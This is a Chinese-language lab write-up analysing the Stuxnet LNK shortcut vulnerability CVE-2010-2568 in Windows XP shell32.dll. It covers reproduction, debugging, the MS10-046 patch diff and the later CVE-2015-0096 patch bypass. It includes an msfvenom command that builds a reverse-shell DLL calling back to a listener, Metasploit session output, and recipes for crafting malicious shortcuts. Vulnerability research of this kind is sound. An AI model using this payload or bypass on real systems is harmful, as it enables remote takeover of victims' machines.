启程

这是《0day安全》的最后一章。原书本章的标题为“LNK快捷方式文件漏洞”,介绍的是曾被Stuxnet使用的CVE-2010-2568。在查阅资料的过程中我发现后来还有CVE-2011-3402和CVE-2017-8464,它们分别被戏称作“震网二代”和“震网三代”,放在一起研究将会非常有意思。因为CVE-2011-3402并非快捷方式漏洞,而是Windows字体处理漏洞,所以我改了标题,从而将它们作为一个系列。

0 相关信息

# CVE-2010-2568/MS10-046
# Published: August 02, 2010
# https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-046
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2568
# 
# 此漏洞的恶意样本通常通过移动硬盘来传播。
# 由于移动硬盘的盘符不固定,但是快捷方式中的路径必须是绝对路径,
# 因此恶意样本通常会创建多个快捷方式(可能多达26个,每个盘符一个),以便能触发漏洞。
# 
# 该漏洞并未被MS10-046完全修复,引出CVE-2015-0096/MS15-020

1 漏洞复现

# 环境
> systeminfo
OS 名称:          Microsoft Windows XP Professional
OS 版本:          5.1.2600 Service Pack 3 Build 2600
系统类型:         X86-based PC

只有控制面板下的快捷方式才有效。这里我创建一个到“鼠标”的快捷方式:

对它按照如下方式编辑:

(较长的红色部分改动是Unicode字符串“C:\DLL.DLL”)

接着我们再创建用来反弹shell的DLL.DLL

msfvenom --payload windows/meterpreter/reverse_tcp LHOST=172.16.56.1 LPORT=4444 --format dll --arch x86 --platform windows --out DLL.DLL

将其放在C:\。注意,此时我们的快捷方式还在桌面上,它并不会触发漏洞,因为它在无害时已经被桌面窗口加载过了。此时用命令行将它移到C盘中。

接着挂起对反弹shell的监听,然后在“我的电脑”中打开C盘,返回msf,发现目标成功上线:

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 172.16.56.1
LHOST => 172.16.56.1
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.56.1:4444
[*] Sending stage (179779 bytes) to 172.16.56.134
[*] Meterpreter session 1 opened (172.16.56.1:4444 -> 172.16.56.134:1034) at 2018-11-19 15:38:43 +0800

只是此时目标机器的“我的电脑”窗口将处于假死状态,只能被强行关闭。所以不能把这个图标PoC放在桌面上,否则一开机就会触发漏洞。只好调出任务管理器用命令行把它移动到C盘,然后重启explorer.exe进程。

这一点我一直没想明白,当初震网在伊朗也是这个表现吗?插入U盘导致窗口假死,还是会引起怀疑的吧?还是说它被做了优化处理?

整体来看,效果还是蛮震撼的,不需要运行任何程序,只需要目标打开窗口“看一眼”就够了。

msf中也有对应的exploit/windows/browser/ms10_046_shortcut_icon_dllloader,经过测试,会导致IE崩溃。其新颖的点在于,它是诱使目标访问恶意URL,从而借助WebDAV触发漏洞的。它在lnk文件中指定的路径是\\192.168.1.101\FtLtw0\jgzXtW.dll

震网是借助U盘传播,总之利用方式多种多样。

更新

在研究CVE-2017-8464时,我发现有的dll payload会导致崩溃,有的则不会。我对这种情况进行了深入研究,放在0day安全 |番外 Stuxnet CVE-2017-8464

2 漏洞分析

2.0 漏洞触发过程概述

黑红色相接处是问题所在:要加载的是cpl文件,为什么dll文件也能够被加载呢?参考MS10-046_LNK文件快捷方式漏洞的原理分析(多图杀猫)可知,cpl本质上也是一种dll文件。

这也是我们要用控制面板下工具的快捷方式,而非普通文件的快捷方式的原因——只有这样才能触发cpl加载机制,因为控制面板下的各个工具都是.cpl文件。参考Description of Control Panel (.cpl) Files

Each tool in Control Panel is represented by a .cpl file in the Windows\ System folder. The .cpl files in the Windows\System folder are loaded automatically when you start Control Panel.

在进行漏洞分析之前,我们对上图中的两个条件分支再作以下说明:

  • 控制面板下的cpl文件均不包含IconLocation String,所以第一个条件分支必定走N
  • 正常情况下,并非所有控制面板下的cpl文件0x7A处都不为零,在上面“漏洞复现”环节中,我们使用的鼠标文件其0x7A处为0xFFFFFF9C,但包括防火墙在内的一些cpl文件本身这个位置就是0,因此即使我们不作修改,Windows在解析它的快捷方式时也会走第二个条件分支的Y。当然了,被加载的是正常cpl文件
  • 第二个条件分支N流的详细过程是怎样的?怎样根据0xFFFFFF9C去找到图标呢?网上比较模糊的说法是将其作为索引去寻找图标,但没有详细解释。我作出以下猜想:0xFFFFFF9C如果看作有符号数,就是-100,所谓的索引是对其取绝对值得到的。下面进行验证:

鼠标的快捷方式中Shell Item Id List指定的文件路径是C:\Windows\System32\main.cpl,我们使用Resource Hacker打开,在Icon Group中找到100对应的资源:

可以发现,确实为鼠标(多个控制面板工具都指定了main.cpl作为cpl,所以其中包含了许多图标资源)。

再如,我们创建“声音和音频设备”的快捷方式,其0x7A处是0xFFFFF444,即-3004。它的Shell Item Id List指定的是mmsys.cpl,打开后可以发现同样符合猜想:

除此之外,我还验证了键盘、电源选项和安全中心。猜想均成立,这里不再列出。

至此,上述漏洞利用流程得到自洽的解释。客观来说,由于微软没有公布完整的LNK文件结构,后面的分析过程大多建立在前人的基础上,它本身是自洽的,但是或许并不完善。

2.1 背景知识

LNK文件结构

在下面的结构图中,除了Header都是可选段:

+--------------------------+
|  Header                  |
+--------------------------+
|  Shell Item Id List      |
+--------------------------+
|  File Location Info      |
+--------------------------+
|  Description             |
+--------------------------+
|  Relative Path           |
+--------------------------+
|  Working Directory       |
+--------------------------+
|  Command Line Arguments  |
+--------------------------+
|  Icon Filename           |
+--------------------------+
|  Additional Info         |
+--------------------------+

控制面板下工具的快捷方式仅仅包括HeaderShell Item Id List

微软官方的快捷方式结构定义如下,它与我们上面的结构图是一致的:

SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] 
             [STRING_DATA] *EXTRA_DATA

我们以“鼠标”的快捷方式为例进行讲解。Header中我们在意的是:

# LinkFlags
81 00 00 00 

结合文档可以知道它有HasLinkTargetIDListHasIconLocation标志。这与我们的认知一致。

HasLinkTargetIDList: The shell link is saved with an item ID list (IDList). If this bit is set, a LinkTargetIDList structure (section 2.2) MUST follow the ShellLinkHeader. If this bit is not set, this structure MUST NOT be present.
HasIconLocation: The shell link is saved with an icon location string. If this bit is set, an ICON_LOCATION StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present.

Shell Item Id List如下:

C2 00 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8
08 00 2B 30 30 9D 14 00 2E 00 20 20 EC 21 EA 3A
69 10 A2 DD 08 00 2B 30 30 9D 98 00 00 00 9C FF
FF FF 00 00 00 00 00 6A 00 00 00 00 00 00 1D 00
20 00 43 00 3A 00 5C 00 57 00 49 00 4E 00 44 00
4F 00 57 00 53 00 5C 00 73 00 79 00 73 00 74 00
65 00 6D 00 33 00 32 00 5C 00 6D 00 61 00 69 00
6E 00 2E 00 63 00 70 00 6C 00 00 00 20 9F 07 68
00 00 EA 81 9A 5B 49 4E 20 9F 07 68 BE 8B 6E 7F
0C FF 8B 4F 82 59 09 63 AE 94 BE 8B 6E 7F 0C FF
CC 53 FB 51 1F 90 A6 5E 0C FF 20 9F 07 68 07 63
88 94 0C FF 8C 54 FB 79 A8 52 1F 90 A6 5E 02 30
00 00

可以参考【转】 快捷方式lnk文件格式详解(英文)(中文)Github:libyal/libfwsi/documentation/Windows Shell Item format.asciidoc去了解Shell Item Id List(也就是官方文档中的LinkTargetIDList)。比较容易理解,但是有一些内容微软未公布,这里不再展开。总而言之,它包含三项,分别是“我的电脑”的GUID、“控制面板”的GUID和目标cpl文件路径。

GUID在Windows中又被称作CLSID。挺有意思,可以了解一下。我们可以通过在“运行”中输入以下路径来打开控制面板:

::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}

另外,可以在HKEY_CLASSES_ROOT\CLSID下看到CLSID的详细内容:

2.2 分析调试

用OD附加explorer.exe。我们知道加载dll的函数是LoadLibraryW,所以设置以下条件断点:

bp LoadLibraryW Unicode[[ESP+4]]=="C:\\DLL.DLL"

这么做是因为LoadLibraryW是一个频繁被调用的函数。我们不能一下子就打开C盘,所以如果不使用条件断点进行过滤,那么后面的调试中在抵达目的地前会被中断很多次。需要注意,我们下条件断点时的表达式中要用C:\\DLL.DLL而非C:\DLL.DLL。后者会被当作无效表达式,从而导致条件断点变成无条件断点。

设置完后F9运行,然后打开“我的电脑”,进入C盘查看C:\DLL.DLL。此时将触发断点。如果断点没有触发,说明你之前已经浏览过这个目录,产生了缓存。在这种情况下需要将这个文件重命名来触发断点。

中断后查看函数调用栈:

OD载入pdb的机制有问题,所以上面有很多函数没有显示出来。这里我采用静态分析与动态调试相结合的方法。用IDA加载pdb文件对shell32.dll反汇编,然后对上面图中给出的函数在IDA中进行依次定位,从而得到以下调用链:

.text:7D63851D ; int __stdcall _LoadCPLModule(LPCWSTR lpLibFileName)
.text:7D63862A                 call    ds:__imp__LoadLibraryW@4

.text:7D63877D ; __stdcall CPL_LoadCPLModule(x)
.text:7D638783                 jmp     __LoadCPLModule@4

.text:7D641942 ; __stdcall CPL_LoadAndFindApplet(x, x, x, x)
.text:7D641987                 call    _CPL_LoadCPLModule@4

.text:7D642415 ; int __stdcall CPL_FindCPLInfo(unsigned __int16 *, int, int, int
.text:7D642456                 call    _CPL_LoadAndFindApplet@16

.text:7D715D8A ; __int32 __thiscall CCtrlExtIconBase::_GetIconLocationW(CCtrlExtIconBase *this, \
    ; char, LPWSTR lpString1, unsigned int iMaxLength, int *, unsigned int *)
.text:7D715E00                 call    _CPL_FindCPLInfo@16

.text:7D5C61E9 ; __int32 __stdcall CExtractIconBase::GetIconLocation(CExtractIconBase *this, \
    ; unsigned int, unsigned __int16 *, unsigned int, int *, unsigned int *)
.text:7D5C6205                 call    dword ptr [eax+14h]

.text:7D5D681E ; __int32 __stdcall CShellLink::GetIconLocation(CShellLink *this, \
    ; unsigned int, unsigned __int16 *, unsigned int cwchBuf, int *, unsigned int *)
.text:7D5D687E                 call    dword ptr [ecx+0Ch]

.text:7D5C5DFD ; __int32 __stdcall _GetILIndexGivenPXIcon(struct IExtractIconW *, \
    ; unsigned int, const struct _ITEMIDLIST *, int *, int)
.text:7D5C5E64                 call    dword ptr [eax+0Ch]

.text:7D5C3D3F ; __stdcall SHGetIconFromPIDL(x, x, x, x, x)
.text:7D5C3DAE                 call    ?_GetILIndexGivenPXIcon@@YGJPAUIExtractIconW@@IPBU_ITEMIDLIST@@PAHH@Z

.text:7D5CC8C0 ; __int32 __stdcall CFSFolder::GetIconOf(CFSFolder *this, \
    ; const struct _ITEMIDLIST *, unsigned int, int *)
.text:7D5CDB36                 call    _SHGetIconFromPIDL@20

接下来我们从CCtrlExtIconBase::_GetIconLocationW入手,因为它紧接着就会调用CPL_FindCPLInfo加载Icon图片。重启OD,附加explorer.exe,然后在7D715D8A下普通断点(没有必要使用条件断点,因为这里已经进入了控制面板文件快捷方式的图标加载流程,我们从开始菜单打开“我的电脑”,再进入C盘,只会遇上一个这种类型的快捷方式,正是ExP),并F9。

当我们执行到取地址指令LEA完成后,观察到ebx指向字符串C:\DLL.DLL,0,

紧接着的指令段将把两个,之间的数字提取出来并转换为整形:

7D715DA4   FF75 0C          PUSH DWORD PTR SS:[EBP+0xC]
7D715DA7   FF15 0015597D    CALL DWORD PTR DS:[<&KERNEL32.lstrcpynW>>; kernel32.lstrcpynW
7D715DAD   6A 2C            PUSH 0x2C
7D715DAF   FF75 0C          PUSH DWORD PTR SS:[EBP+0xC]
7D715DB2   FF15 F41B597D    CALL DWORD PTR DS:[<&SHLWAPI.StrChrW>]   ; shlwapi.StrChrW
7D715DB8   85C0             TEST EAX,EAX
7D715DBA   74 5D            JE SHORT shell32.7D715E19
7D715DBC   66:8320 00       AND WORD PTR DS:[EAX],0x0
7D715DC0   83C0 02          ADD EAX,0x2
7D715DC3   50               PUSH EAX
7D715DC4   FF15 641C597D    CALL DWORD PTR DS:[<&SHLWAPI.StrToIntW>] ; shlwapi.StrToIntW

返回值存储在eax中,接下来判断它是否为0,不是则将跳转到shell32.7D715E13,这样就不会执行CPL_FindCPLInfo函数:

7D715DCA   8B7D 14          MOV EDI,DWORD PTR SS:[EBP+0x14]
7D715DCD   8907             MOV DWORD PTR DS:[EDI],EAX ; ds:[edi] = eax = 0
7D715DCF   8B45 18          MOV EAX,DWORD PTR SS:[EBP+0x18]
7D715DD2   C700 02000000    MOV DWORD PTR DS:[EAX],0x2
7D715DD8   8B0F             MOV ECX,DWORD PTR DS:[EDI] ; ecx = ds:[edi]
7D715DDA   33D2             XOR EDX,EDX
7D715DDC   3BCA             CMP ECX,EDX ; whether ecx is 0?
7D715DDE   75 33            JNZ SHORT shell32.7D715E13 ; not 0 then jmp away
7D715DE0   C700 1A000000    MOV DWORD PTR DS:[EAX],0x1A
7D715DE6   8D86 14020000    LEA EAX,DWORD PTR DS:[ESI+0x214]
7D715DEC   3910             CMP DWORD PTR DS:[EAX],EDX
7D715DEE   8955 0C          MOV DWORD PTR SS:[EBP+0xC],EDX
7D715DF1   75 16            JNZ SHORT shell32.7D715E09
7D715DF3   8D4D 0C          LEA ECX,DWORD PTR SS:[EBP+0xC]
7D715DF6   51               PUSH ECX
7D715DF7   8D8E 18020000    LEA ECX,DWORD PTR DS:[ESI+0x218]
7D715DFD   51               PUSH ECX
7D715DFE   50               PUSH EAX
7D715DFF   53               PUSH EBX
7D715E00   E8 10C6F2FF      CALL shell32.7D642415 ; CPL_FindCPLInfo

这就是为什么我们要把0xFFFFFF9C改为0x00000000的原因。到这里可以再回顾下一开始的漏洞利用流程图。

引用原书作者的话:

而程序一旦进入CPL_FindCPLInfo函数之后,就会一路高歌地去调用LoadLibraryW来加载"C:\DLL.DLL"了。

综上,漏洞根源在于未经过可信校验就去加载DLL文件。

3 深度分析

最初我觉得,经过上面的分析之后,虽然整个逻辑链并不是完善的,但已经足够了。然而,总是感觉缺少了什么东西。后来在网上找到一位前辈的分析:Windows Lnk Vul Analysis:From CVE-2010-2568(Stuxnet 1.0) to CVE-2017-8464(Stuxnet 3.0),读完后感觉相形见绌。我也终于发现上面自己描述的漏洞触发过程存在的问题:缺少细节。例如,为什么会有C:\DLL.DLL,0,这样的字符串生成?快捷方式文件又是从哪个函数开始被逐步解析的?它是怎样被解析的?这些都没有分析出来。一言蔽之,我上面的分析有些盲人摸象的意思。强烈推荐阅读前辈的这篇文章。下面我将结合自己的理解和已有成果,一步步去研习前辈的分析思路。

3.0 CPL解析溯源

我们希望能够找到最开始解析CPL文件的函数。仅仅根据上面给出的函数调用栈并不能得出这个信息。怎样溯源呢?一种常见的思路是跟踪全局或局部变量在函数调用过程中的传递。在上面的基础分析中,我们弄清楚了从GetIconLocationW函数解析C:\DLL.DLL,0,到高歌猛进去LoadLibraryW的过程,下面我们就跟随C:\DLL.DLL,0,字符串向上走,看看它是怎么被一路传递下来的。这样一来,我们很可能就会逐步摸清楚CPL文件的解析过程。

OK,现在我们位于提到过的CCtrlExtIconBase::_GetIconLocationW取址处。将C:\DLL.DLL,0,记为字符串p,那么通过在反汇编代码中追踪可以发现(因为是回溯,所以下面的汇编代码是倒序的,从它们的地址变化可以看出):

; CCtrlExtIconBase::_GetIconLocationW
.text:7D715DA0                 lea     ebx, [esi+0Ch] ; p = esi + 0xc ; 5
.text:7D715D98                 mov     esi, ecx ; 4, -> 5
; CExtractIconBase::GetIconLocation
.text:7D5C61F7                 add     ecx, 0FFFFFFFCh ; 3, -> 4
.text:7D5C61F1                 mov     ecx, [ebp+8] ; 2, -> 3
; CShellLink::GetIconLocation
.text:7D5D687D                 push    eax ; 1, -> 2
.text:7D5D6862                 mov     eax, [esi+50h] ; 0, -> 1
; ...
.text:7D5D6853                 call    ?_InitExtractIcon@CShellLink@@AAEJXZ

0 -> 5即是字符串p的在不同函数间的传递过程。追溯到CShellLink::GetIconLocation后线索中断,但是7D5D6862前面不久有一个初始化函数_InitExtractIcon被调用,猜测它与CPL文件解析有关。

我希望能够在OD内中断到_InitExtractIcon,但是它是一个被频繁调用的函数,下普通断点太麻烦。我们看一下它的反汇编指令有没有什么特征:

.text:7D5D68D8                 mov     edi, edi
.text:7D5D68DA                 push    esi
.text:7D5D68DB                 mov     esi, ecx
.text:7D5D68DD                 lea     eax, [esi+78h]
.text:7D5D68E0                 cmp     dword ptr [eax], 0

这是它的开头5条指令。这说明调用它时[ecx+78h]应该为0,可以凭借此在7D5D6853下条件断点dword[ecx+0x78]==0,成功中断。之后结合使用OD和IDA,我们最终跟到CControlPanelFolder::GetUIObjectOf,它正是解析并生成C:\DLL.DLL,0,的函数:

HRESULT __stdcall CControlPanelFolder::GetUIObjectOf(CControlPanelFolder *this, \
    HWND a2, UINT cidl, const struct _ITEMIDLIST **a4, const struct _GUID *a5, \
    unsigned int *a6, IDataObject **a7)
{
  // ...
  apidl = a4;
  v11 = (int)a5;
  if ( cidl && a4 )
    v10 = (int)CControlPanelFolder::_IsValid(*a4); // check valid
  else
    v10 = 0;
  *a7 = 0;
  if ( v10 ){
    if ( !memcmp(a5, &IID_IExtractIconA, 0x10u) || !memcmp((const void *)v11, &IID_IExtractIconW, 0x10u) ){
      // get the path
      v12 = CControlPanelFolder::GetModuleMapped(v10, &pszPath, 260, (int)&apidl, (int)&psz1, 260);
      if ( v12 >= 0 ){
        if ( !psz1 )
          v12 = CControlPanelFolder::GetDisplayName(v10, &psz1, 260);
        if ( v12 >= 0 ){
          // construct "C:\DLL.DLL,0,"
          v12 = StringCchPrintfW(&String2, 554, L"%s,%d,%s", (unsigned int)&pszPath, apidl, &psz1);
          if ( v12 >= 0 )
            // create instance
            return ControlExtractIcon_CreateInstance(&String2, v11, (int)a7);
        }
      }
    }
    // ...
  }
  return v12;
}

跟进看一下CControlPanelFolder::GetModuleMapped的逻辑:

int __stdcall CControlPanelFolder::GetModule(int a1, LPWSTR psz1, int cchMax)
{
  // ...
  v3 = CControlPanelFolder::_IsUnicodeCPL((struct _IDCONTROL *)a1);
  if ( v3 )
    // 这里从LinkTargetIDList[2]偏移24处获得路径C:\DLL.DLL,其中使用的参数12是Unicode长度
    v5 = StrCpyNW(psz1, (LPCWSTR)v3 + 12, cchMax);
  // ...
  return 0;
}

__int32 __stdcall CControlPanelFolder::GetModuleMapped(int a1, \
    LPCWSTR pszPath, int cchMax, int a4, int a5, int a6)
{
  // ...
  // 首次解析出路径
  v13 = CControlPanelFolder::GetModule(a1, (LPWSTR)pszPath, cchMax);
  if ( v13 < 0 )
    return v13;
  v13 = 1;
  v6 = PathFindFileNameW(pszPath); // from "C:\DLL.DLL" get the filename "DLL.DLL"
  v7 = 0;
  v8 = cchMax - (v6 - pszPath);
  lpString1 = v6;
  // a1就是LinkTargetIDList结构的第三项,即我们的CPL文件路径项
  if ( *(_DWORD *)(a1 + 4) <= 0 && v6 ){
    v12 = 0;
    // 这个循环是根据icon id在dword_7D5A30CC处的一个CPL文件名列表中尝试匹配
    while ( *(_DWORD *)(a1 + 4) != dword_7D5A30CC[v12 / 2] || lstrcmpiW(lpString1, (&off_7D5A30C8)[v12]) ){
      v12 += 10;
      ++v7;
      if ( v12 >= 170 ) // 匹配失败
        goto LABEL_15;
    }
    // ...
  }
LABEL_15:
  if ( a4 ) // a4用来存储icon id
    *(_DWORD *)a4 = *(_DWORD *)(a1 + 4); // 之前匹配失败,所以a4被赋值为我们设置的值0
  if ( a5 )
    *(_WORD *)a5 = 0;
  if ( v13 >= 0 ){
LABEL_20:
    if ( !PathFileExistsW(pszPath) ) // 如果CPL文件路径有误
      GetSystemDirectoryW(&Buffer, 0x104u); // 则将路径替换为系统路径
      if ( PathCombineW(&szDest, &Buffer, lpString1) )
        // 也就是说如果我们给了一个错误的路径C:\xx\DLL.DLL
        // 那么最终它会被替换为C:\Windows\System32\DLL.DLL
        v13 = StringCchCopyW((unsigned __int16 *)pszPath, cchMax, &szDest);
      else
        v13 = -2147467259;
    }
  }
  return v13;
}

从上面的代码中可以看出,我之前关于索引的猜想或许是不正确的,icon id的用途如上面的注释中所示,并非我想的那样(但是也太巧了)。

CControlPanelFolder::GetUIObjectOf在最后会调用ControlExtractIcon_CreateInstance,它将调用构造函数去创建一个新对象:

v4 = CCtrlExtIconBase::CCtrlExtIconBase(v3, lpString2);

构造函数如下:

void *__thiscall CCtrlExtIconBase::CCtrlExtIconBase(void *this, LPCWSTR lpString2)
{
  void *v2; // esi@1

  v2 = this;
  CExtractIconBase::CExtractIconBase((int)this);
  *((_DWORD *)v2 + 133) = 0;
  *((_DWORD *)v2 + 134) = -1;
  *(_DWORD *)v2 = &CCtrlExtIconBase::`vftable'{for `IExtractIconA'};
  *((_DWORD *)v2 + 1) = &CExtractIcon::`vftable'{for `IExtractIconW'};
  lstrcpynW((LPWSTR)v2 + 6, lpString2, 260);
  return v2;
}

它将字符串C:\DLL.DLL,0,存储在对象偏移为6宽字符的成员变量处,并限制它的长度不超过260宽字符。

至此,初始化过程结束。控制流将回到CShellLink::GetIconLocation中去走我们前面已经讲过的触发漏洞的流程。

前辈画了一个非常直观的流程图来说明这一切,我转载到这里:

至此,一切都清楚了。

3.1 新的ExP构建方式

我们先看一下前面分析过的CCtrlExtIconBase::_GetIconLocationW函数的反编译结果:

int __thiscall CCtrlExtIconBase::_GetIconLocationW(int this, char a2, LPWSTR lpString1, int iMaxLength, int a5, int a6)
{
  // ...
  v6 = 1;
  v7 = this;
  if ( !(a2 & 1) ){
    lstrcpynW(lpString1, (LPCWSTR)(this + 12), iMaxLength);
    v8 = StrChrW(lpString1, ',');
    if ( v8 ){
      *v8 = 0;
      v9 = StrToIntW(v8 + 1);
      v10 = (_DWORD *)a5;
      *(_DWORD *)a5 = v9;
      v11 = (_DWORD *)a6;
      *(_DWORD *)a6 = 2;
      if ( *v10 ){
        if ( *v10 > 0 )
          *v10 = 0;
      }
      else{
        *v11 = 26;
        v12 = *(_DWORD *)(v7 + 532) == 0;
        lpString1 = 0;
        if ( !v12 || CPL_FindCPLInfo(v7 + 12, v7 + 532, v7 + 536, &lpString1) )
          *v10 = *(_DWORD *)(v7 + 536);
      }
      v6 = 0;
    }
  }
  return v6;
}

大概意思是,从CPL路径中寻找到第一个,,然后对它后面的数据做StrToInt,接着判断得到的值是否为0,只有为0时才会去调用CPL_FindCPLInfo。这符合我们的认知。

那么,如果我们一开始就把快捷方式中的CPL路径设置为C:\DLL.DLL,呢?根据前面分析的结果,CCtrlExtIconBase::_GetIconLocationW得到的将会是C:\DLL.DLL,,x,,这个x是什么无所谓,因为上面的代码找到第一个,就会进行字符串转整数,而这里直接遇到了下一个,,所以将得到0。这样看来,似乎不必将快捷方式中的索引0xFFFFFF9C修改为0了。

但是有一个小问题,C:\DLL.DLL,实际上是一个非法路径,所以CControlPanelFolder::GetModuleMapped会将其替换为C:\Windows\System32\DLL.DLL,

综上,我们可以得到一种新的ExP构造方式:

保持0xFFFFFF9C不变,将路径改为C:\DLL.DLL,,同时把DLL.DLL放入C:\Windows\System32

经过测试,这个ExP是有效的。当然了,它的使用场景非常受限,我们很难做到目标机器C:\Windows\System32下有一个恶意dll。

4 应对方案

这里的“应对方案”指的是漏洞刚刚曝出、补丁尚未发布时的应对方案。我只是想看看当时的缓解措施是怎样的。毫无疑问,长远来看最好的缓解措施就是打补丁。补丁将在下一节分析。

最直接的思路:关闭快捷方式的图标显示。

方法:进入注册表,先将HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler导出备份,然后将其默认值设置为空,重启电脑。

这次就不会触发漏洞了。只是桌面也变得很丑。

5 补丁分析

The security update addresses the vulnerability by correcting validation of shortcut icon references.

我们先为XP SP3打补丁WindowsXP-KB2286198-x86-CHS,下载地址为Windows XP安全更新程序(KB2286198)。安装后旧ExP果然不能触发漏洞了。

OK,按照补丁对比的步骤,分别下载前后两者的pdb文件,然后得到两个idb,载入BinDiff。

结合前面的经验,经过分析,我们定位到CControlPanelFolder::GetUIObjectOf函数:

可以发现,有两处不同。

第一处如下:

在IDA中对应如下:

v11 = CControlPanelFolder::GetModuleMapped(v9, &Start, 0x104u, (unsigned int *)&apidl, &psz1, 0x104u);
if ( v11 >= 0 ){
    if ( StrChrW(&Start, ',') )
        return -2147024809;

具体是,判断快捷方式中CPL路径中是否有,,有就出错返回。这使得我们上面提到的第二种ExP无法成功。

第二处如下:

在IDA中对应如下:

if ( !apidl && \
    !CControlPanelFolder::_IsRegisteredCPLApplet((CControlPanelFolder *)((char *)this - 16), &Start) ){
    apidl = (LPCITEMIDLIST *)-1;
}
v11 = StringCchPrintfW(&pszDest, 0x22Au, L"%s,%d,%s", &Start, apidl, &psz1);

具体是,引入了CControlPanelFolder::_IsRegisteredCPLApplet函数去检查目标是否在注册列表(也就是白名单)中,如果不在,就将icon id设为-1,这就导致后面的CPL_FindCPLInfo无法被调用。

至此,似乎漏洞被完美修补。

Aber nicht wahr? :)

6 CVE-2015-0096/MS15-020

很遗憾,MS10-048补丁并不能起到应有的作用。然而这一问题竟然是在2015年初才被发现。

概述一下补丁效果:之前的第二种ExP已经无效;而第一个ExP中的C:\DLL.DLL最终会由于不在白名单内,变成C:\DLL.DLL,-1,字符串从而无法触发CPL加载机制。

但是,这一切很魔幻,现实果然比电影要精彩。我们从上面所有讲解中抽取出以下事实:

  1. C:\xxx.DLL这样的非法CPL将形成C:\xxx.DLL,-1,这样的字符串
  2. CControlPanelFolder::GetUIObjectOf最终会调用CCtrlExtIconBase::CCtrlExtIconBase构造函数,它将限制C:\xxx.DLL,x,字符串不超过260个宽字符
  3. 下游的CCtrlExtIconBase::_GetIconLocationW将调用StrToIntW,其特点是遇到非数字字符将停止转换,如果直接遇到非数字字符,就返回0

那么,如果我们构造

"C:\" + "A" * 250 + ".DLL"

这样的DLL文件路径,它在经过第一步处理后得到

"C:\" + "A" * 250 + ".DLL" + ",-1,"

经过第二步260宽字符限制后,恰好-11被删去,得到

"C:\" + "A" * 250 + ".DLL" + ",-"

显然,到第三步时可以使icon id为0。这样来看,似乎我们就绕过了补丁限制。然而事情并没有这么简单。

我们知道,调用LoadLibraryW的函数是_LoadCPLModule。这个函数一开始有一句

  if ( StringCchPrintfW(&pszDest, 0x104u, L"%s.manifest", lpLibFileName) < 0 )
    return 0;

它尝试将CPL文件路径与.manifest拼接,写入长度为0x104,也就是260宽字符的缓冲区中。很明显拼接得到的字符串长度是257 + 9 > 260,所以StringCchPrintfW失败,从而在这里return,后面的流程无法被执行。

但是柳暗花明又一村(魔幻)。_LoadCPLModule的上游函数链中有一个是CPL_FindCPLInfoCPL_FindCPLInfo在调用到_LoadCPLModule前会执行一个CPL_ParseCommandLine函数。其代码如下:

int __stdcall CPL_ParseCommandLine(int a1, unsigned __int16 *a2, int a3)
{
  int v3; // eax@1
  unsigned __int16 *v5; // [sp+Ch] [bp-18h]@1
  WCHAR Src; // [sp+10h] [bp-14h]@2

  v5 = CPL_ParseToSeparator(a1 + 4, a2, 0x104u, 1);
  v3 = 0;
  if ( a3 )
  {
    v5 = CPL_ParseToSeparator((int)&Src, v5, 8u, 0);
    v3 = StrToIntW(&Src);
  }
  *(_DWORD *)a1 = v3;
  *(_DWORD *)(a1 + 1044) = CPL_ParseToSeparator(a1 + 524, v5, 0x104u, 0);
  return CPL_StripAmpersand(a1 + 524);

这个函数的功能类似于strip,是根据标识符去解析字符串:一旦遇到标识符,则丢弃标识符及其后面的内容。它的主要执行函数是CPL_ParseToSeparator。传入的第四个参数为1,代表使用逗号和空格作为标识符;为0代表仅仅使用逗号作为标识符。CPL_ParseToSeparator内部逻辑如下:

    if ( a4 ){
      v8 = (LPWSTR)&v7[StrCSpnW(v7, L", ")];
      if ( !*v8 )
        v8 = 0;
    }
    else
      v8 = StrChrW(v7, ',');

由于补丁已经限制了我们的路径中不能出现逗号,所以我们可以在路径中使用空格,构造如下的路径:

"C:\" + "test " + "A" * 245 + ".DLL"

CPL_ParseCommandLine会将它解析为C:\test,这样就可以解决与.manifest拼接时空间不够的问题。

需要注意的是,这样一来,最终加载使用的文件名也变成了test,所以我们要在相同目录下再准备一个C:\test.DLL文件。

整理一下思路,就是:

  1. 利用超长路径绕过白名单限制
  2. 利用空格绕过拼接时长度限制

现在来构造快捷方式。推荐使用010 Editor编辑器,可以轻松将普通字符串粘贴为Unicode:

别忘了修改List中的Size。最终ExP如下:

C盘目录下需要准备的所有文件如下:

前辈的文章中还讲解了以下内容:

  • Windows 7和Windows 8平台下Exploit失败的修复方法
  • 微软针对CVE-2015-0096/MS15-020发布的补丁详情

这里不再展开。

总结

当初能够挖到这个0Day的人不简单。各种漏洞分析都是事后诸葛,其实现在更缺少的是对漏洞挖掘人员的挖洞过程的描述。未来可以读一读《捉虫日记》。

分析的过程中多次想要“到此为止”。后来终于能够静下心耐下心来分析,还是不错的。

终于写完了 :P

其他参考